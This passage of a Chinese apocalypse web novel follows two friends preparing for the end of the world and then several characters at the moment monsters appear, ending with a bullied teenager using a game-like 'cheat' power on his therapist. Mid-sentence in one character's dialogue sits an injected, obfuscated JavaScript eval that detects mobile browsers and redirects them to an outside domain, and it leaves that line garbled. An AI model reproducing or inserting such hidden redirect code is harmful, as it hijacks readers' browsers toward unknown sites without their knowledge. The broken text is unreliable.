之后就等刷出武器图纸和下装材料后，把这两个位置的装备锻造出来，然后搞定这两个位置的附魔，他这个号其实就差不多了。 至于江朗的号，他的附魔大部分都是比较极品的，但是估计会洗掉一两个伤害附魔来替换保命类的附魔。 陆燃在这边检视今日氪金成果的时候，手机突然震动了起来。 他顺手接了起来。 “小陆啊！你怎么说辞职就辞职了？” 陆燃这才想起来，这个有点眼熟的电话号码是谁的——他的勤工俭学的勤工中比较合法的那部分，在甜品店当服务员。 说是甜品店，其实忙碌程度和只有个站子的奶茶店差不多，老板又抠，一轮班里只有两个员工，忙碌程度高得离谱，如果不是学校附近的兼职都被大学生卷到了一个离谱的低价，陆燃其实真的不是很想打这份工。 江朗来找他之后，他第二周除了去学校请假，做的另一件事就是把这份没什么用的兼职辞了，毕竟他真缺钱的话，更快的来钱办法也是多给人写点挂，而不是去做这一天两百块都不到的兼职。 他打了个招呼说辞职之后，也没多想，毕竟开在学校附近的甜品店怎么都不可能沦落到招不到工的境地，他很快就把这件事抛在了脑后。 在游戏里泡了这么久之后，更是最后的一丝记忆都消失了，更何况这位老板他只有最开始去应聘的时候见过，他当然不记得号码。 “有点事，最近没时间兼职，所以就辞职了。” 陆燃觉得自己还是个挺礼貌的人，没有直接挂断，而是好好解释了。 电话那头的老板听起来有些着急： “唉小陆啊，是不是工资不满意？工资可以谈嘛，给你加到一天两百好不好？” 陆燃：…… 陆燃一瞬间有点无语，从一天一百八加到一天两百有加很多吗？ 这老板打电话来留人，他一瞬间还以为对方真的很想留下他，脑子里都已经开始打草稿该怎么礼貌地拒绝了，结果他一开口，陆燃就有点不知道他到底是不是真想留人了。 不过腹稿都打完了，他就还是照腹稿说了： “老板，不是钱的问题，我最近真的很忙，没时间做兼职。” 电话那头的老板捕捉到关键词“不是钱的问题”。 ——那不就是钱的问题吗？ 他撇了撇嘴，心里很不满，现在的年轻人真是人心不足蛇吞象，小小年纪一个比一个贪，辞职不就是想要借机涨工资吗？ 要是换了别人他只会让他该滚滚，你不干有的是人干。 好吧，他对于陆燃不干了第一反应本来也是这个，不然也不会都过去这么久了才突然想到要来挽留他。 问题是……他昨天才知道，他们店里居然很多人就是冲着这个男生这张脸来吃甜品的。 他们这家店名声在外的卖点之一，居然就是有个很好看的甜品小哥会在周末来打工。 怪不得他们店周末的生意总是特别好，他还以为单纯就是学生周末有空出来玩。 而他们发现了这一点的原因则是，这两个周日突然少了很多生意，而且还间歇性就有人来问——“那个平时周末来上班的小哥不来了吗？” 被问了好几次之后，被问的员工好奇之下打开了社交媒体搜了搜他们这家店，就发现昨天有好几个帖子在哀嚎——“帅哥甜品店的帅哥不见了！”——热度还很高。 于是店长就把这个事报给了老板，不过他的目的倒不是想让陆燃回来好维持生意，他说是店长，其实也就是拿工资的打工人，又不是真的老板，这么努力做什么。 他只是想告诉老板——这客流量下降可不是我的问题哦，你别没事干把锅推给我扣我工资。 于是就有了现在这一幕。 “那再给你加二十，一天两百二，怎么样小陆？这个价格招日结工已经很高了，你可以去别的地方看，不会有这个价格的。” 陆燃：…… 他自问自己的工作没什么不可替代性，点单加上餐，是个人都能做，又不是什么技术工种，没有什么值得老板特意挽留的，但是老板偏偏打电话来挽留了，那么肯定就是有什么他不知道的原因，而就在有原因的前提下，老板居然都只愿意二十二十地给他加工资，他实在不知道该如何评价这抠门行为了。 于是他失去了和人交流的兴趣，他是个有礼貌的人，但是仅限于他想对人有礼貌的时候。 于是他挂断了电话，时间宝贵，不能浪费。 顺便拉黑了。 因为他刚挂断，对面就又打过来了。 好麻烦。 他电话铃再次响起的时候，他还以为是这个老板换了个号又来给他打电话，幸好看了一眼是江朗。 江朗卖完一套房，剩下一套也在走交易流程了，所以没啥事了，但还得在那边等着过户流程走完，他无聊到一醒来就给陆燃打电话，然后在酒店和陆燃挂着电话打游戏。 他们刷了会儿野怪，啥都没刷出来，陆燃突然问： “你有没有想过在哪里进入末世。” 江朗下意识在电话那头点了点头：“我还真想过。” 陆燃：“嗯？” 江朗：“C市。” 陆燃有些困惑，为什么是C市？ C市是特大城市，说实话，在这种特大城市进末世，会很麻烦，就算他们不需要考虑安全问题，C市也还有别的劣势。 C市物价高房租高，他们是打算在进末世前租个仓库之类的地方，放很多集装箱装冰柜的，里面放好生鲜，到时候末日一来就直接把这些集装箱装进背包里。 而在C市租仓库囤生鲜，听起来有点像有钱没处花。 江朗解释道：“嗯……怎么说呢，之前末日来临的时候，C市是伤亡最惨重的，我后来辗转各大基地找你嘛，几乎遇不上从C市出来的异能者，偶尔遇见几个，可以说一个比一个强悍，他们说那时候C市污染爆发，因为人太多，城市绿化又好，还有好几个市内动植物园，又靠海，异变的污染物实在太多太多了，对异能者来说可以说是地狱难度。” “能力普通一点的异能者根本活不下来，因为污染物源源不断，根本扛不了那么久，直接被磨死了。” “反正C ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432418|168215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市应该是最惨的，其他几个大城市相对来说好一点。” “所以我想去C市，到时候能多救一点是一点。” 陆燃：“这样。” 原来江朗是想要救人，那也行吧。 陆燃：“那在C市救完人之后呢，那地方不适合建基地，海里的污染物不可能清干净，总会陆续有污染物上岸，之后打算去哪。” 江朗：“唔……这我还真没想过。” 陆燃：“我猜测一下，比较容易形成基地的地方，一个是N市，军区，估计前期污染物各项属性都不高的时候能靠火力压制维持稳定，大部分人应该也会抱着这样的想法来N市，一个是Q市，地理位置四通八达，城市人口密度不高，估计会形成一个小基地，然后B市，A市，D市，这几个地方应该也会形成基地，对吗？” 江朗目瞪口呆：“我靠，还真是，是的，差不多就这些吧，然后还有两个怎么说呢，后期建立在空间泡多发地的研究型基地，然后还有几个我感觉也不能算基地，感觉就是一群奇怪的蛮喜欢末世的人凑起来的地方。” 江朗：“你觉得我们去哪好？” 陆燃迷惑：“你不先给我讲讲情况吗？” 江朗：QAQ 他已经习惯了陆燃跟有预言能力一样的变态分析能力啊！差点忘了真正经历过那个末世的人是自己了。 江朗努力回忆了一下，他那会儿去过的基地确实很多，还是能讲出个子丑寅卯来的： “A市的基地是后来建设得最好的，秩序维护得很好，没有那种大街上火拼的情况，晚上睡觉的时候也不太用担心，反正总体上来说可以睡个好觉。” “B市也还可以，而且B市的小吃街很棒，末世里的第一小吃街。” “其他的我相对了解不深，我那会儿在D市路过，就住了一晚上而已，应对了三批攻击，也是不知道该说什么了，说实话，治安差成这样就别搞什么基地了好吗，直接丛林状态算了……” “不过，我想想，A市附近那个基地好像是后期才建立起来的，我去的时候是末日后第五年还是什么时候？那时候才刚刚建立一年，我也不知道A市前期是什么情况，离我太远了，也没遇上过那边来的人。” “B市我其实也不知道前期是怎么个情况，好像说经历过好几次大的变动，类似于政变之类的，我也不懂，我只知道我去B市那个基地的时候，已经是他们换的第四批管理者了，我也不太清楚前期是什么样子的。” “其实我都不知道前期有没有基地这种东西。” “我当时刚出城，就撞进了一个空间泡！有亿点倒霉！” “那会儿不懂要怎么搞，然后我遇到的那个空间泡，污染物还藏得很深，磨蹭了我很久才出去。” “然后我当时是往你的方向在开，但是路上就挺不太平的，陆陆续续折腾了一年才到你们学校，找半天没找到你，也不知道该去哪找，然后遇到一个人跟我说，Q市建起了基地，如果不想每天在野外流浪可以去那边看看。” “然后我大概是又过了一段时间才到Q市，在Q市听说了其他地方也建立起了基地，而且开始组织人手去消灭那些比较高级的污染物和空间泡，然后我才开始到处跑的，大概就是这么个时间线，其实我都不知道第一年里有没有基地存在，也许都还是丛林状态。” 陆燃思考了一下：“这样。” 江朗：“你觉得我们往哪走比较好？” 陆燃：“Q市吧。” 江朗问都没问为什么，直接同意：“好啊。” 陆燃倒是顺便解释了一下：“人不多不少，最有可能前期自然形成稳定的基地，其他的估计前期要打上蛮久，掺和起来太麻烦。” 江朗：“嗯嗯嗯。” 于是他们就这样定下了末日前和末日后的去向。 26-30 第26章 第 26 章 末日降临 “全都要？” “嗯！全都要。” 陆燃和江朗今天不是头一次遇上甜品店店员这样迷惑的神情了, 江朗也不是第一次带着微笑斩钉截铁地说出这句标准回答了。 他们从老家回来之后，就一直辗转于各大甜品店，趁着最后的时间, 将仓库里最后一部分冰柜全补齐了。 不得不说，C市本就令人咋舌的物价在甜品上更是登峰造极, 江朗原本还有些可惜手头上的钱没法在末日来临前全部花完, 现在则完全没了这一担忧。 “好了，这次是真的全搞定了。” 江朗气喘吁吁地从集装箱上爬下来，懒得动，干脆在集装箱边沿坐了下来。 陆燃看了眼时间, 现在是半夜一点, 距离江朗所说的末日来临的时间点还有十一个小时不到。 他们打算今晚直接在仓库过夜, 明天末日一来, 就直接把物资全都收入背包中，尽量别让冰柜里的东西有化开的机会。 江朗坐着休息了一会儿, 爬起来和陆燃一起将气垫床充满气。 “晚安。” “晚安。” 末日再见. “这, 就是传说中的——见血封喉树！全世界最毒的树！” “哇！” 林梦周围瞬间响起了一片的惊呼，她觉得自己脑袋一震, 不禁思考起了自己到底是怎么想的, 才会在大周六的来动植物园玩。 不过她也确实对解说员介绍的这株植物很感兴趣。 她眯起了眼睛，努力看向不远处的树冠。 解说员的声音还在伴随着各种惊呼不停响起： “见血封喉树, 又称箭毒木, 它的毒素是一种□□毒素, 特点是, 只要接触到暴露性伤口，就能致死，不过如果你的口腔到肠胃这段, 没有任何细微的伤口，就不会中毒哦，是不是很有意思？” “哇！” 惊呼声已经离林梦远一点了，她从刚刚开始就停下了脚步，专心看着不远处那棵箭毒木，她有点怕吵，而她有预感，这些惊呼声大概会伴随着她这个展馆的参观全程。 这是一个半球形的室内展馆，钢筋嵌在玻璃内支撑起整个展馆的外部结构，阳光肆意地从中洒入室内。 那棵见血封喉树很高，笔直笔直地矗立在那，整座展馆除了它以外，就没什么特别的供人参观的植物了。 她现在是站在玻璃栈道上，植物园贴心地给了他们两条参观路线——可以走空中的玻璃栈道，近距离观赏这棵见血封喉树的树冠，也可以走地面，穿过一条鹅卵石铺就的小路，抬头仰望这棵目测有□□米高的大树。 他们这些人是打算两条路都走一遍，从外部楼梯直接上了玻璃栈道，一会儿再下去走小路，正好绕一圈从出口离开。 从栈道上往下看去，可以看见只有中央那棵大树的面前立了个小小的牌子，这么远，林梦当然看不清上面写了什么，但是想也知道，肯定是见血封喉树或者说箭毒木的简介。 而这个展馆里其他植物就没有这个待遇了，大概只是种在这里让景观不要显得太单调的普通树木而已。 “我听说，见血封喉树的毒性非常强，以至于可以毒死它自己，这是真的吗？” 有人好奇地提问。 “哇？真的假的？毒素不是它自己产的吗？这怎么还能把自己毒死啊？” 有人对此表示困惑。 “我去，那万一这棵树把自己毒死了，你们植物园得亏多少钱啊？这么大一棵树肯定老贵了吧？” 有人在算经济帐。 “妈妈——我们快点下去好不好，我要拿它做宝剑！” “别闹！” 有人在努力训斥熊孩子。 林梦也被这个问题吸引了注意力，将目光从下方的景观中收了回来，看向解说员。 “哈哈，这个说法可以说对也可以说错吧。” 解说员微笑着，卖了个小关子。 “它肯定不会被自己的毒素毒死，但是有一种鸟，叫做椋鸟，它对箭毒木的毒素免疫，于是它们可以在箭毒木身上筑巢，并将箭毒木的果实作为食物，箭毒木的毒素在它们体内会进行二次加工，形成一种更毒的毒素，并且这种毒素对箭毒木也起效。” “于是，当毒素通过鸟粪的形式排出，落在箭毒木周围的地面上之后，它也就被慢慢毒死了。” “所以也可以说它是死于自己的毒吧。” “原来如此……” “哇……” 林梦听完解说，重新将目光投向了玻璃外的那棵高大到令人震撼的树。 她心中涌起了一种很奇怪的想法，虽然见血封喉这个名字听起来很吓人，但是仔细一品的话，反倒有些无奈了——只有见血的时候才能封喉啊。 植物毕竟是植物，不能动也不能主动攻击，只能诱捕，或者等着无知的傻子自寻死路。 所以哪怕它听起来再危险，其实也都是安全无比的。 她脑海中转过这几个念头的时间，解说员已经和大部队下了栈道那头的楼梯了。 她虽然满意于和大部队保持距离，但是也不想真的掉队，于是她收回目光，准备跟上他们。 但就在那时，她手上的电子表，刚好跳了一下，跳成了12：00。 那一瞬间，她见过最奇怪的事发生了。 她揉了揉眼睛，忍不住怀疑自己是不是前几天加班太累了。 都累出幻觉了。 和她脱节的大部队，那些上一秒还在兴奋说笑的人群，从他们口中冒出来的话语与笑声，都断裂式变为了一种或尖锐或嘶哑或嘶吼或呓语的奇怪声音。 离她最近的一个人，她记得是个很普通的中年男人，穿着Polo衫，踩着凉拖，头顶已经“微秃”，然后她看见，这个中年男人锃亮的脑门裂开了一道缝，像是从后脑勺上长出了一张嘴一样，这张张开的嘴里是左右共六排细密的牙齿，单独看都已经让人有些犯恶心，更何况是长在人的后脑勺上！ 出现了这种诡异变化的不止是这个中年男人。 原本兴致高昂，好像是真的热爱这份工作才来做植物园解说的解说员维持着半回头的姿势，而林梦能看见他的眼睛里变成了复眼，好像还在往外凸。 原本吵嚷着的熊孩子和颇有些焦头烂额的年轻母亲，他们的脸倒是没怎么变，但是脊椎骨突然弓起，透过他们的衣服可以看见他们一截一截的骨头，而且看上去绝对比正常人类的脊椎要宽很多。 而且所有人脸上的表情……都突然给人一种强烈的猎食者的感觉。 林梦来不及确认自己是不是出现了幻觉，她第一反应就是冲上前把玻璃栈道的门关上了，然后用身体死死地抵住了门。 她的体重其实不足以挡住门对面的那群人……人形怪物，而且栈道的另一头的门还开着，她惊恐地看向明晃晃敞开着的另一头出口，脑海中下意识地出现了那些怪物留下一部分然后另一部分从另一头的出口朝她扑来的场景。 但是她什么都做不了，她又没有分身术！ 但是，随着异变一起降临到这些怪物身上的，似乎还有智商的降低。 她死死地抵着门，很快就发现，那些怪物只会慢吞吞地撞击玻璃门试图获取它们的猎物——也即林梦自己。 而且他们很快就起了内讧，因为这栈道很窄，他们争先恐后地想要获取唯一的猎物，中间难免要起一些物理意义上的“摩擦”，于是没多久，它们就先自己打做了一团。 而最关键的是，似乎没有一个怪物意识到存在另一条路径可以通向它们的猎物。 只有林梦自己会偶尔担忧地将目光投向玻璃栈道的另外一头。 也许是越是危险的时刻越是容易分心——不，也不能说是分心，应该是更类似于一种危机时刻注意力过于集中导致周围的所有信息量都过于清晰地涌入她脑中的体验，虽然她的大部分心神都集中在对抗门外仅剩的那两个不停用直板板的姿态往玻璃门上撞的怪物上，但剩余的那一小部分注意力，除了能分一部分到栈道另一段上，还有一部分落在了栈道下方。 ——地面上。 下方的游客显然也没有逃过这突如其来的灾变。 不过也有像她这样的幸存者。 哦不对，不是像她这样的，是要比她幸运得多的。 她看见有个看上去不过十岁出头的男孩，正一脸兴奋不已，他穿着一套看上去非常像cosplay的服装，林梦不禁开始努力回想——刚刚向下看的时候，她有看见过任何穿着这件衣服的人吗？这么显眼的衣服，她真的能做到单纯用视线扫过而不注意吗？ 而随着那男孩兴奋地不知道喊了些什么，地面上突然冒出了一个看上去就很危险的黑色圆圈，而随着那黑色彻底凝聚，它所覆盖范围内的所有怪物都一瞬间被吞噬不见。 实在很难说到底哪一边更像怪物一点，但总之那个男孩凭借着这一手看起来非常邪恶的黑魔法，成功地杀死了周围异变的人和植物。 现在看来，他那套看起来很像cosplay的装束就很像游戏里法师的装束了。 ——怎么？这年头进化出异能还附赠装备的吗？这么贴心？ 林梦忍不住胡思乱想起来。 她摇了摇头，试图把这些不停从她脑海里钻出来的无关紧要的念头摇到一旁去。 她在思考能不能求助一下这个……这个小孩，虽然总感觉她一个成年人朝小学生求助有点丢人，但是这种情况下，丢人不丢人的好像已经不是首要的考量了。 而且不管怎么说，至少知道这里还有别人以正常的人类神智存活了下来，光是这一点就让她松了口气了。 就在她思考的时候，小孩哥兴奋地召出了又一个黑圈，这一次倒不是从地面上冒出来的了，而是从半空中直接涌现的，她离得有些远，看不太清，她眯了眯眼。 就在她眯起眼的下一刻，小孩哥脸上兴奋的表情永远地凝固在了那发现自己获得了小说或者动漫中才有的能力那一刻。 他召唤出来的黑色光环倒是如约落下，又消灭了一批怪物。 林梦一开始有些困惑为什么他不动了，她的大脑最初没能转过来，她只是很困惑为什么他像是被定格住了一样。 直到他软软地倒在了地上，睁着眼睛变成了一具尸体，就像之前被他消灭的所有怪物一样。 那一瞬间，无限大的恐惧朝林梦压了下来。 那种恐惧比她最初看见别人异变的惊恐还要更无可抵挡，如同一道闪电一般迅捷地降临在了她身上，又如同一道夜幕一般挥之不去。 为什么？！ 发生了什么？？？ 明明几秒钟之前那男孩还那么志得意满。 小孩子特有的无辜的残忍让他毫不在意世界的巨变和死去的其他人，只满心欢喜于自己获得的奇妙能力和即将要开启的美妙历险。 这种无辜的残忍虽然细思让人有些不安，甚至想得长远一点的话，会忍不住思考接下来的世界会不会就都充斥着这样的人，那该是怎样一个世界啊……不禁让人有些害怕，但是再怎么样，那也是属于人类的残忍。 是有迹可循的，是想的明白的，是可以分析的。 而不是像这样，进化的胜利者突然就这么毫无理由地在几秒中内死去了。 下一刻，与她隔着一层薄薄玻璃相望的那两个从其他怪物中胜出后要来夺取性命的“胜利者”，也突然定定地停在了原地。 它们原本的动作就不太灵活，似乎已经忘记了手该怎么使用一样，只知道用身体一下一下地撞着那堵薄薄的玻璃门，试图把门撞开，或者说，它们的概念里可能都没有这里有扇门的概念，只是想要走过去把林梦吃了。 但是笨拙和静止还是有很大区别的，它们就那么停下了，而林梦胸中的原本就不受控制的恐惧此刻更是无限地蔓延了开来。 它们彻底倒下的时候，林梦的瞳孔缩成了一个点。 至此，植物馆里只剩下了她一个活物。 她惊恐无比地看着这个巨大的，此时甚至显得有些空旷的植物馆，四肢冰凉，头脑空白。 唤醒了她的是场馆外各种嘈杂声音。 不需要去用眼睛看，光从那些嘶吼和尖叫中就可以判断出出现在这个场馆里的异变绝对不是个例。 于是林梦僵硬的双腿重新找回了知觉，她迈着两条打颤的腿朝玻璃栈道的另一边踉跄着跑了过去，把通向外界或者说外界通向里面的那扇门关上了。 做完这个动作之后，她猛地瘫软了下来，靠着玻璃门缓缓滑到了地上。 这是一条很狭小很狭小的栈道。 但是此时此刻，狭小就意味着安全感。 她找到了那么一丁点的安全感。 一丁点，剩下的全是恐惧. “今天上课老师教了什么呀？” 别墅在没有人住的时候，总是显得过于空旷，而当这间本就做了挑高处理的别墅里只有一个身量不高的孩子的时候，就不光是空，还显得有些太大了。 长长的餐桌上放着一个书包，一排蜡笔，一袋子水彩笔，零零散散的硬卡片，还有一堆课本。 坐在桌边的是一个看着不过十岁的孩子，他的脸庞还有点稚气的婴儿肥，所以当他露出一脸和蔼的神情，朝面前的空气问出“今天上课老师教了什么呀？”的时候，就显得有些和年龄不符的违和，甚至有些诡异。 他问完这句话之后，立刻单手撑着过高的椅子跳了下来，然后爬上了对面的椅子，换上了一副乖巧的表情： “今天上了科学课，老师说，地球上的生物最开始出现在水里，然后有一天鱼长出了双腿，就走上了陆地，然后就有了后面的很多很多的动物了。” 他以一种造作的童趣口气说完这段话后，又跳回了对面那把椅子： “宝贝真棒。” 对着空无一人的房子表演完这段对话，他拉过餐桌上的卡纸开始画画，大概是他的家庭作业吧，他很快画出了一副可爱的童思与稚嫩的笔触并全的蜡笔画。 做完这一切，放下蜡笔的孩子就无事可做了。 这个房子实在有些太空了，他坐在中央餐桌的样子，简直就像原子内的原子核一般渺小。 他脸上渐渐浮现出一种走神般的神情。 虽然他其实没有走神，他只是在听海浪的声音。 他的生活总是很无聊的，一成不变，唯一的变化大概就是海浪的声音了，每一道浪潮拍打在岸上的节奏在他听来都是独特的。 而且海浪的变化中又蕴含着一丝恒定，他知道海浪永远不会停下来，那让他感觉……很好。 他安静倾听着那恒定中带着变化感的海浪，突然间——好吵，怎么会这么吵？ 海浪的声音简直像是突然放大了几十倍一般。 原本在他耳中轻到需要仔细辨认才能入耳的海浪声，现在大得像是有人拿了个海螺放在他耳边一样。 而且他觉得自己听到了许多混乱的声音。 该怎么形容呢……那是一种大量声音的集合，但那些声音都很奇怪，而且出现得太突兀，一瞬间让人有种自己听到了人类听觉范围以外的声波的错觉。 尤其是那些声音都来自海的方向，很容易就让人联想到海中那些原本不该被人类听见的动物交流声。 不过更让他感到难受的，还不是这些突然冒出来的声音，而是从不知何处泛上来的热度。 他觉得自己的脑袋好重，他没意识到自己是发烧了，小孩子特有的注意不到自己生病了的思考模式让他顶着其实已经算超高烧的温度从椅子上跳了下来，朝阳台走去。 推开通向阳台的那扇门，呼啸般的声音合集和他见过最奇怪的场景一齐朝他扑面而来。 他不禁想起今天上课的时候。 科学课老师用一种哄小孩的语气对他们说：“我们的祖先其实是鱼哦，然后鱼长出了双腿，走上了陆地。” 那时候他在想什么来着，他在想这个老师一定要用这种讲童话的语气上课吗？ 什么叫走上了陆地？ 也许每个人都知道那只是一种应对周期性干涸的浅水环境的自然筛选。 随后他反思了一下自己没说出口的这些话是不是太不礼貌了，妈妈说要尊敬老师，不能总是说一些让老师觉得尴尬的话。 所以他已经很久没有说过话了。 那些课堂上让他烦躁的腔调与字眼此时此刻与他面前的景象重叠在了一起。 鱼确实走上了陆地。 它们真的长出了密密麻麻的脚，并上岸了。 它们的模样怪异而可怖，但是最让人害怕的不是它们的长相，而是规模。 看上去简直不是鱼走上了岸，而更像是大海一瞬间褪去，露出了里面的大量生物。 他在原地僵立了一会儿，突然被隔壁——应该是隔壁邻居爆发出来的一阵尖叫声惊醒了。 他家和隔壁隔了快有好几个操场的距离，平时他是绝对不可能听见隔壁邻居家的动静的，但此时此刻，那尖叫声却像在他耳边爆裂一般，震耳欲聋，几乎要将他的耳膜刺破。 他猛地惊醒过来，原本像灌了铅一般的双手双脚也终于能动了。 他猛地朝二楼跑去，头也不回地冲到二楼走廊的最底部，在墙面上一个看不出任何特别之处的地方拿大拇指按了一下，那堵墙就那么打开了。 他快速地躲进墙内，然后关上了门。 门内是大量的食物和物资，还有一些必备的生活用品，比如马桶和抽纸之类的。 这个密室是爸爸妈妈在那次他被绑架之后修的，自从他被绑架了一次之后，他们对他的安全就有些过度担心，近乎到了偏执的程度——从这个正常情况里绝对用不上的密室中就可见一斑。 没想到真的用上了。 看着架子上满满的食物和零食，又回想了一下这道门还有四周墙壁的厚度，他稍微地安心了一点，抱着膝盖在密室中央坐了下来. “这周，马宁海他们又对你做了什么吗？” 白宁宁问完这句话，突然一顿，她叹了口气，放下了手中的笔，重新开口。 “我们还是来随便聊聊吧。” 白宁宁做心理咨询师很久了，她已经习惯了对患者保持一种特定的“冷漠”，一种对双方都好的冷漠。 她不能过于共情她的病人，因为那既会毁了她的大脑，也会影响病人的治疗。 但即使是她这样吝于给出同情的人，也依旧忍不住对面前这个孩子升起了一丝心疼。 这个孩子是几周前被他妈妈带来治疗的。 白宁宁和他妈妈有过一次长谈，她还记得那位女士脸上的愤怒。 “我前段时间才知道！他们班上居然有好几个学生在欺负他！不光是口头上说点话什么的，已经发展到动手动脚的地步了！” “还是好学生呢！成绩好有什么用？现在的小孩子是真的恶毒，仗着自己学习成绩好就胡作非为，气死我了，他们老师简直偏心到没边了，我说这几个学生欺负我儿子，他就说不可能的，这几个都是好孩子。” “什么样的好孩子能做出那样的事儿啊！他们真的太恶毒了，专挑别人看不见的地方下手，他是个闷葫芦，如果不是我之前刚好给他买了条短裤让他试穿，根本看不见他大腿上那些伤好吗？！” 不过呢，她的愤怒显然不止是针对这几个欺负她儿子的学生的。 “他从小就闷葫芦，被人欺负了也不知道说一声，怎么胆小成这样？” “我跟他说啊，别人打你你就打回去，你打好了，咬也行，把他们肉咬下来我担着，你拿笔拿刀捅人啊，我会赔的，结果呢，他这个小孩，一点胆子都没有，什么都不敢做，也不知道像了谁……” 白宁宁的视线如X光一般冰冷地扫过这位满脸恨铁不成钢的女士，她似乎生气自己的孩子是个软柿子远胜于生气那几个欺负她儿子的学生。 于是她的职业病发作了，有个声音在她身后轻轻说： “你不知道他为什么如此软弱吗？通常来说，软弱的孩子都有一个甚至一对强势的家长。” 她不该对遇见的每一个人做分析，只是这位女士和她儿子的情况有些过于典型。 她思考的这段时间，面前的这位女士已经结束了对她儿子软弱性的抱怨，话锋一转： “医生，钱不是问题，我希望他能变得阳光一点，然后呢，不要那么胆小怕事，最好强硬一点，总之不要是现在这个任人揉捏的软柿子样子！” 那之后，她第一次见到了柳寒。 那是个极为瘦削的孩子，五官不算特别精致，但凭空让人觉得有一种随时要碎掉的玻璃质地，他的发型是平头，高中男生中很常见的发型，放在他头上却有一种微妙的违和感。 他的脸，他的神情，他的气质，都让人觉得他应该有那种垂落到鼻尖的半长发刘海才对。 平头大概是他的母亲给他选择的发型吧。 他很乖巧，白宁宁问他什么，他都会回答。 她问他那些人是怎么对待他的，他一五一十地说了，可以说是她见过最配合的病人之一。 然后她问他对此有什么感受。 他轻声说：没什么感受，他觉得这些都是很正常的事。 他神色诚挚，并不是因为抗拒治疗而不愿回答，白宁宁可以看出他没有在说谎，甚至身上没有一丝别扭的痕迹。 他是真心相信——自己没什么感受。 事情大了。 他在合理化自己的遭遇。 那之后，白宁宁每周见柳寒一次。 她很少同情病人，但即使是她，看见经受了这样遭遇却还是诚挚地说着“我没什么，这很正常”的孩子，也忍不住有些难过。 她很努力地告诉他，有属于自己的感受是一件很正常的事，因为别人伤害自己而痛苦是一件很正常的事，对别人感到生气是一件很正常的事。 只是几周来收效甚微。 她调整出一个亲和力满分的微笑： “我们随便来聊聊吧，你这周有做什么有意思的事吗？” 柳寒对于话题的转变没有任何抗拒： “抱歉，可能没有……我平时做的事情都很无聊。” “哦？那你都做了什么无聊的事呢？” “上学……做作业，然后看会儿书，睡觉。” “看书？你都看了什么书？” “一些杂七杂八的书，比较多，如果医生需要我都说出来的话，我可能需要一点点时间回忆，我记性不太好。” “不用！不用全部……你可以说下自己这周印象最深刻的书，或者如果整本想不起来的话，段落也可以。” “啊……这样吗，其实大部分都没有什么意思，不过有本书里说，生物学不光告诉了我们动植物的事，还告诉了我们生活中必须遵守的法则，我觉得这句话很对，就记下来了。” “哦？什么法则？” 柳寒迷惑地抬起了头，然后又低下头：“嗯……还能有什么法则吗？生物学中最重要的法则只有那一条吧。” 白宁宁心中闪过了一丝非常隐约的不安感。 “物竞天择，适者生存呀。” 柳寒露出了一个笑容，那笑容和他的长相一样纯良又无辜，却让人心中无端泛起寒意。 白宁宁突然想起了她第一次和柳寒谈话时，对方那句“这很正常，我没什么感觉”。 “你那时候说……这很正常，你没什么感觉……那么你为什么觉得这些事很正常？” 她觉得自己可能判断错了什么东西。 柳寒以一种一如既往的乖巧态度回答： “因为，很正常吧，他们成绩好，所以在学校这个所有事情都按照成绩来排列的地方，他们就是强者，对我这种弱者，做什么都是可以的，老师就算知道他们做了什么，也会对他们的行为网开一面吧，因为只有这样是符合理性的，因为一个成绩吊车尾的人去影响班上成绩最好的几个人，不是很不划算吗？” “妈妈是成年人，还是我的监护人，如果我做了什么让她不高兴的事的话，她可以把我扔掉，这对她来说没有任何损失，我却会因此活不下去，所以她对我做什么事都是可以的。” “医生也是一样哦，医生想对我做什么都是可以的，因为医生的评价会直接影响妈妈对我的态度。” 柳寒脸上挂着温驯的笑容，白宁宁却看得遍体生寒。 她想要出声纠正这孩子的观念，但是，就在那一刻，墙上那古朴的挂钟正好走到了十二点。 窗外阳光依旧明亮。 原本这明亮的阳光应该穿过玻璃窗和半透明的窗帘正好洒落在她这张桌子上，为她和她的来访者提供一个温暖明亮的气氛，但是那一刻，她身上一暗。 她下意识回头看去，看到的场景，也许是有些惊悚而诡异的，但大概就是太惊悚太诡异了，所以她的脸上反倒没有一丝惊恐，只是全然的迷惑。 窗外，有一颗树。 好像没什么特别的，就是医院楼下随处可见的樟树而已，她甚至还保留着小时候的习惯，她现在每天上下班的时候，从樟树下走过，还是喜欢去踩那些落下的黑色果实。 但是问题在于，她的这间诊疗室在医院的十一楼。 她平时要向下望去，才能看见一排樟树的树冠。 她很迷惑，真的很迷惑。 然后一只麻雀从樟树叶里飞了出来，如果那还能称之为麻雀的话，真的有比人头还大的麻雀吗？它看起来都有西瓜大小了。 柳寒也在看窗外，从他的角度，看见的东西要比白宁宁多的多，他是看着那棵樟树的树冠从窗户底部冒出来的。 也是看着那只树影掩映间的小麻雀在半个呼吸内长到了这个体积的。 他还看到了一些别的东西。 他的眼睛里多出了两条上世纪电子游戏风格的标签，分别缀在那棵樟树和那只麻雀旁边—— “巨大化。” “巨大化。寄生。” 一种了悟降临在他心内。 ——世界变了。 那么，人的评定体系好像也该变了。 奇怪的嘶吼从四面八方响起，震得白宁宁耳朵和头盖骨都疼了起来的时候，她的危险意识终于上线了，惊恐迟来地落在了她脸上，她转过身，想拉柳寒一起躲起来。 但是此时此刻的柳寒让她感到恐惧，他的整张脸都很红，红得让人觉得不健康，让人联想到过度兴奋这一情绪，而且他的眼睛也太亮了。 不过他的表情倒是还算平静，只是带了一点好奇地看着她。 “咦？不能直接把血量修改为0吗？这个作弊器还挺有原则的，嗯……可能是因为再怎么都要保证游戏的可玩性吧，很合理。” 白宁宁听得懂柳寒的每个字，却听不懂他在说什么，只知道一股危险的感觉顺着她的脊椎直窜上了她的头顶，然后下一秒，她觉得自己突然变得虚弱无比，一种好像随便动一下都会咳出来的感觉。 柳寒看向她：“啊……抱歉了，要怪就怪你自己太弱小吧。” “不是从来都是这样吗，动物世界也好，人类社会也好，都要遵循弱肉强食的规则吧。” 